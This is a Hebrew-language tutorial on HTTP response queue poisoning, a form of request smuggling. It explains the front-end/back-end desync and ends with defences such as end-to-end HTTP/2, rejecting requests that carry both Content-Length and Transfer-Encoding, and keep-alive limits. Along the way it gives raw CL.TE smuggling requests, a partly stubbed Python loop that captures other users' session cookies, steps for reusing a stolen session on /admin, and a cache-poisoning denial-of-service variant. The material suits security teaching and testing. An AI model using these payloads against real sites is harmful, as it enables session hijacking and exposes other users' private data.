לדלג לתוכן

הPoisoning תור תגובות - Response Queue Poisoning

מבוא

הPoisoning תור תגובות (Response Queue Poisoning) היא צורה מתקדמת של תקיפת הברחת בקשות שבה התוקף גורם ל-desync מלא בין תור הבקשות לתור התגובות. בניגוד להברחת בקשות רגילה שבה הבקשה המוברחת מצורפת לבקשה הבאה, בpoisoning תור תגובות - הבקשה המוברחת היא בקשה מלאה שגורמת לשרת לייצר תגובה נוספת, ובכך מזיזה את כל תור התגובות בעמדה אחת.


הבדל מהברחת בקשות רגילה

הברחת בקשות רגילה

Attacker sends:   [normal request + smuggled prefix]
Next request:     [prefix + victim request] -> error or different response

ה-prefix המוברח מצורף לבקשה הבאה ומשנה אותה. התגובה עדיין מגיעה למבקש הנכון.

הPoisoning תור תגובות

Attacker sends:    [normal request + full smuggled request]
Server generates:  [response to normal request] + [response to smuggled request]
Victim sends:      [victim request]
Victim receives:   [response to the smuggled request] (not theirs!)
Attacker sends:    [another request]
Attacker receives: [response to the victim's request] (including session!)

מנגנון התקיפה בפירוט

שלב 1 - מצב רגיל

בחיבור keep-alive, בקשות ותגובות עוברות בתור:

Connection between front-end and back-end:

Requests:   [request A] [request B] [request C] -->
Responses:  <-- [response A] [response B] [response C]

כל בקשה מקבלת את התגובה המתאימה לה.

שלב 2 - injection בקשה מוברחת

התוקף שולח בקשה שמכילה בקשה מוברחת מלאה:

Connection:

Requests sent to the back-end:
  [attacker request] [smuggled request] [victim request]
                    ^
                    injected by the attacker

Responses coming back from the back-end:
  [response to attacker] [response to smuggled] [response to victim]

שלב 3 - חוסר סנכרון

ה-front-end ראה שתי בקשות (תוקף + קורבן), אבל ה-back-end מייצר שלוש תגובות:

front-end expects: [response to attacker] [response to victim]
back-end sends:     [response to attacker] [response to smuggled] [response to victim]

What happens:
  Attacker receives:      [response to attacker]  - correct
  Victim receives:        [response to smuggled]   - not theirs!
  Next request receives:  [response to victim]     - someone else's!

דוגמה מעשית

הבקשה הזדונית (CL.TE)

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Transfer-Encoding: chunked

0

GET /anything HTTP/1.1
Host: vulnerable-website.com

מה קורה

1. The front-end sees a single POST request (Content-Length: 61)
2. The back-end sees:
   - POST / (chunked, ends with 0)
   - GET /anything (new request)
3. The back-end generates two responses
4. The front-end expects a single response
5. The first response goes to the attacker
6. The second response gets "stuck" in the queue
7. The next request from any user receives the "stuck" response

לכידת תגובת הקורבן

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Transfer-Encoding: chunked

0

GET /anything HTTP/1.1
Host: vulnerable-website.com

שליחת הבקשה הזדונית, ואז מיד שליחת בקשה רגילה:

GET / HTTP/1.1
Host: vulnerable-website.com

התגובה לבקשה הרגילה תהיה בפועל התגובה של המשתמש הבא - שעלולה לכלול:
- הheader Set-Cookie עם טוקן session
- תוכן דף פרטי
- טוקני CSRF


תזמון ואמינות

אתגרי תזמון

הPoisoning תור תגובות רגישה לתזמון:

1. The smuggled request must be complete and valid
2. You need to send another request immediately after to capture the response
3. If another user sends a request in between, they will receive the response that isn't theirs

שיפור אמינות

import requests
import threading
import time

def response_queue_poison(target_url, smuggle_payload):
    """Perform response queue poisoning with retry attempts"""

    session = requests.Session()

    for attempt in range(10):
        # Step 1: send the smuggled request
        # (need a raw socket since requests doesn't support smuggling)
        import socket

        sock = socket.create_connection(
            (target_url.replace('https://', ''), 443)
        )
        # ... send the smuggled request ...

        # Step 2: send a normal request immediately
        time.sleep(0.1)
        resp = session.get(target_url)

        # Step 3: check whether we received someone else's response
        if 'Set-Cookie' in str(resp.headers):
            session_token = resp.headers.get('Set-Cookie', '')
            if 'session=' in session_token:
                print(f"[+] Attempt {attempt+1}: token captured!")
                print(f"    Cookie: {session_token}")
                return session_token

        print(f"[-] Attempt {attempt+1}: no token captured")

    return None

שיטות לשיפור תזמון

1. Send several requests in rapid succession right after the smuggling
2. Use multiple connections in parallel
3. Send requests to a path that causes a 302 redirect (short, fast response)
4. Send requests to a path with a unique response so you can easily identify a response that isn't yours

דוגמה מלאה - גניבת session

שלב 1 - אישור הברחה

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0

GET /my-unique-path-12345 HTTP/1.1
Host: vulnerable-website.com

שולחים בקשה רגילה מיד אחרי. אם התגובה היא 404 עבור /my-unique-path-12345 - ההברחה עובדת ותור התגובות הוזז.

שלב 2 - לכידת session

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0

GET /login HTTP/1.1
Host: vulnerable-website.com

הבקשה המוברחת פונה ל-/login. שולחים בקשה רגילה מיד אחרי. אם יש משתמש שפנה לדף כלשהו, התגובה שלו (שעלולה לכלול header Set-Cookie עם session חדש) תגיע אלינו.

שלב 3 - שימוש ב-session

GET /admin HTTP/1.1
Host: vulnerable-website.com
Cookie: session=<stolen-session-token>

הPoisoning תור דרך HTTP/2

תקיפה זו יעילה במיוחד דרך HTTP/2 downgrade:

:method: POST
:path: /
:authority: vulnerable-website.com
content-type: application/x-www-form-urlencoded
transfer-encoding: chunked

0

GET /login HTTP/1.1
Host: vulnerable-website.com

היתרון של HTTP/2: ה-framing הבינארי מאפשר שליטה מדויקת יותר בגוף הבקשה, וה-CRLF injection מאפשר injection headers שלא אפשריות ב-HTTP/1.1.


הExploit מתקדם - poisoning תור לטובת poisoning cache

ניתן לשלב poisoning תור תגובות עם cache:

1. Smuggle a request to /login (which returns a redirect with a session)
2. Send a normal request to /static/main.js
3. The response from /login will be cached as /static/main.js
4. Every visitor who loads main.js will get a redirect to /login

Or:
1. Smuggle a request to / (the homepage)
2. Send a request to /static/main.js
3. The homepage response (HTML) will be cached as main.js
4. JavaScript parsing error for every visitor = DoS

זיהוי חולשה

סימנים שהתקיפה עובדת

1. You receive a response that doesn't match the request you sent
2. Unexpected status code (for example 302 when you expected 200)
3. Set-Cookie headers in the response when you didn't request a login
4. HTML content when you requested JavaScript

בדיקה בטוחה

1. Send a smuggled request with a unique path (/unique-random-string)
2. Send several normal requests
3. If one of the responses is 404 for the unique path - there is a desync
4. Important: this test does not affect other users if the path is unique

ההבדל בין סוגי הברחה

מאפיין הברחה רגילה הPoisoning תור
בקשה מוברחת prefix חלקי בקשה מלאה
תגובות תגובה אחת מושפעת כל התור מוזז
מה נלכד בקשת הקורבן (כגוף) תגובת הקורבן (כולל headers)
אמינות גבוהה יחסית תלויה בתזמון
השפעה בקשה בודדת כל הבקשות עד לסנכרון מחדש

הגנה

1. שימוש ב-HTTP/2 מקצה לקצה

- The HTTP/2 protocol uses binary framing that prevents request smuggling
- Make sure there is no downgrade to HTTP/1.1 in the internal connection

2. עיבוד בקשות קפדני

- Reject requests that have both Content-Length and Transfer-Encoding
- Normalize request processing across all layers
- Use the same HTTP library on all servers

3. הגבלת חיבורי keep-alive

# nginx - limit the number of requests per connection
keepalive_requests 100;

# limit the keep-alive duration
keepalive_timeout 60s;

4. ניטור אנומליות

- Track mismatches between requests and responses
- Check whether responses arrive out of order
- Alert on responses with an unexpected status code

סיכום

הPoisoning תור תגובות היא הצורה הקשה ביותר של הברחת בקשות. היא מאפשרת לתוקף ללכוד תגובות מלאות של משתמשים אחרים, כולל טוקני session וheaders רגישות. נקודות מפתח:

  • הבקשה המוברחת חייבת להיות בקשה מלאה וחוקית שתייצר תגובה משלה
  • התגובה הנוספת מזיזה את כל תור התגובות ויוצרת desync
  • התזמון קריטי - צריך לשלוח בקשה מיד אחרי ההברחה
  • ההגנה הטובה ביותר היא HTTP/2 מקצה לקצה ועיבוד בקשות קפדני